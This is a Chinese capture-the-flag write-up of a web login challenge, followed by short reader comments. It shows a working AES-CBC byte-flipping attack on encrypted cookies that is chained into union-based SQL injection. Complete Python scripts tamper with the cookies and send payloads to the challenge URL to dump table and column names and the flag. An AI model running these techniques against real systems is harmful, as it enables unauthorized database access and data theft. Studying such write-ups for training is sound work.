以下是引用的pcat大神的Writeup:
这题名字叫简单的登录题,实际上一点都不算简单,要认真写一个writeup确实很费劲,但pcat还是写了一篇过得去的。
1.做题的初步收集、整理
index.php是一个普通的登录框,输入id来登录,我们用burpsuite抓下包,并使用Repeater功能。
1) 当post id时候,返回包Set-cookie里包含iv和cipher,这2个英文单词玩密码学就很容易理解,iv就是Initialization Vector(初始化向量),cipher就是密文
2) 使用Repeater功能不断的发送相同的包,返回的iv和cipher都不一样,基本断定每次的iv值是随机生成,另外iv和cipher的格式都是先base64编码后再进行urlencode编码。这里逻辑几句,不少人总看到base64解码后的字符是乱码后,就问该怎么解密之类的话,其实不要搞混了,base64不是一种加密方式,只是一种编码方式,base64编码后可以让不可视字符可视化(这才是最大的作用),而不起任何加密作用。
3) 把iv值经过urldecode再base64解码后用len()得到长度为16,基本猜测算法是aes,而且大胆猜测是aes的cbc模式
4) 从id=1入手,发现有#和-都会被waf检测到
5) 当cookies里有iv值和cipher值,然后不提交任何参数(包括id),就会显示Hello,猜测是根据传入的iv和cipher来解码后,再参与内部的sql查询出用户名
6) 由于aes的key值不知道,我就觉得这题比较难做了,然后先按照web题的基本思路———扫描,打开御剑扫一下,幸运的发现test.php泄露了源码。整理下源码中的逻辑:
*1 若是post id,就先进行waf检测,检测过了才随机生成iv值,并且对array('id'=>$id)进行php的序列化操作,再进行aes加密,再分别对iv和cipher进行base64编码并设置到cookies
*2 如果cookies里有iv和cipher,就对其base64解码,然后对其aes解密,再进行php反序列化,如果不能反序列化则返回解密后的明文的base64编码,如果可以则进行sql语句拼接,查询若是行数>0就显示其username列的值,否则都是Hello!
*3 难点1,过滤了#-=,还有union和procedure
*4 难点2,注入点在limit后面,而且后面还是",0",0本来就是让limit取出0行,而前面的逗号更是难弄掉
*5 aes的加密模式aes-128-cbc
7) mysql语法,limit后面只能procedure还有for update,还有尝试了堆叠注入,也是不行。
8) 本题算比较好点,mysql会显示错误信息,这就可以弄报错注入(当前是得有前提的)
2.构建能绕过过滤的payload
尝试了很多,发现post id=1;%00(这里关键是;%00)可以绕过去,然后登录后会显示Hello!rootzz,说明user表里的值是rootzz,而并不是我们所期待的flag值(如果那么简单就好了- -)
关键的关键字都被过滤,这可怎么办?
这时候要冷静分析下。
1) 直接post id时候是有过滤
2) 在cookies解密出来是没有过滤,就直接拼接sql语句
于是我们可以大胆猜测,修改cookies的值来达到解密后的明文可以构造sql注入。
这并不是无的放矢,在密码学里是可以做到的
3.aes的cbc byte flipping attack(cbc字节翻转攻击)
先放出参考文章,自己可以多去阅读
推荐英文文章:
http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
以下是中文译文(其中图片挂了,结合英文版就没问题):
http://wps2015.org/drops/drops/CBC%E5%AD%97%E8%8A%82%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB-101Approach.html
=======
cbc字节翻转攻击,我就不叙述原理,我直接演示一个简单的操作:
把id=12的密文修改后解析为id=1#
这里因为序列化是php的,我先写了一个php文件,便于显示
<?php $id=@$_POST['id']; $info = array('id'=>$id); $plain = serialize($info); $row=ceil(strlen($plain)/16); for($i=0;$i<$row;$i++){ echo substr($plain,$i*16,16).'<br/>'; }
当post id=12时候,显示
a:1:{s:2:"id";s:
2:"12";}
每一行16个字节,这里12的2对应上一行{的偏离量是4
有这个准备后,
在原题里post id=12,得到下面(这只是示例)
iv=ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D
cipher=U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D
运行以下脚本
# -*- coding:utf8 -*- __author__='pcat@chamd5.org' from base64 import * import urllib cipher='U9qq54FOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D' cipher_raw=b64decode(urllib.unquote(cipher)) lst=list(cipher_raw) idx=4 c1='2' c2='#' lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2)) cipher_new=''.join(lst) cipher_new=urllib.quote(b64encode(cipher_new)) print cipher_new
得到cipher_new
U9qq55BOYcS2MFFB7UJFjVcSWpi0zsc%2BnVAnMkjkcRY%3D
再用之前的iv一起去访问,得到
base64_decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9') can't unserialize
这是因为iv值没修改,导致无法反序列化
运行以下脚本
# -*- coding:utf8 -*- __author__='pcat@chamd5.org' from base64 import * import urllib iv='ZoP2z9EI7VWaWz%2F1GfYB6Q%3D%3D' iv_raw=b64decode(urllib.unquote(iv)) first='a:1:{s:2:"id";s:' plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9') iv_new='' for i in range(16): iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i])) iv_new=urllib.quote(b64encode(iv_new)) print iv_new
得到iv_new
hHlJ4xkEBvpldXUI0wqnNA%3D%3D
再跟之前的cipher_new,一起去访问,得到
Hello!rootzz
也就是id=12顺利变成了id=1#注入成功。
离成功就差一步了,
1) 把上面的过程编写成脚本
2) 尽可能只翻转一个字节,例如把2nion翻转为union,末尾再用;%00来注释掉后面
3) 由于逗号被过滤,用join来代替;等号被过滤,用regexp来代替
以下是我的脚本:
# -*- coding:utf8 -*- # 请保留我的个人信息,谢谢~! __author__='pcat@chamd5.org' from base64 import * import urllib import requests import re def mydecode(value): return b64decode(urllib.unquote(value)) def myencode(value): return urllib.quote(b64encode(value)) def mycbc(value,idx,c1,c2): lst=list(value) lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2)) return ''.join(lst) def pcat(payload,idx,c1,c2): url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php' myd={'id':payload} res=requests.post(url,data=myd) cookies=res.headers['Set-Cookie'] iv=re.findall(r'iv=(.*?),',cookies)[0] cipher=re.findall(r'cipher=(.*)',cookies)[0] iv_raw=mydecode(iv) cipher_raw=mydecode(cipher) cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2)) cookies_new={'iv':iv,'cipher':cipher_new} cont=requests.get(url,cookies=cookies_new).content plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0]) first='a:1:{s:2:"id";s:' iv_new='' for i in range(16): iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i])) iv_new=myencode(iv_new) cookies_new={'iv':iv_new,'cipher':cipher_new} cont=requests.get(url,cookies=cookies_new).content print 'Payload:%s\n>> ' %(payload) print cont pass def foo(): pcat('12',4,'2','#') pcat('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u') pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u') pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u') pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join (select 3)c);"+chr(0),6,'2','u') pass if __name__ == '__main__': foo() print 'ok'
如果你觉得我写得还可以的话,请给我点个赞,谢谢。
不过在windows里面,注意编码可能有点问题,会报错,把print cont改为print cont.decode("utf8","ignore").encode("gbk","ignore")即可
Flag:
和大佬学习一下
看看
来看看!
登录了
简单
实在是太复杂了~~
学习
6666666666666一脸懵逼
感谢
厉害厉害
好的
n不错
我找到了提交不了QWQ
大佬

很棒很棒
吐血
大佬,可以简单解释下那几行sql语句吗,我有点看不懂这是怎么查到想要的flag的,如何知道到数据库的哪里查呢
厉害
实验吧吧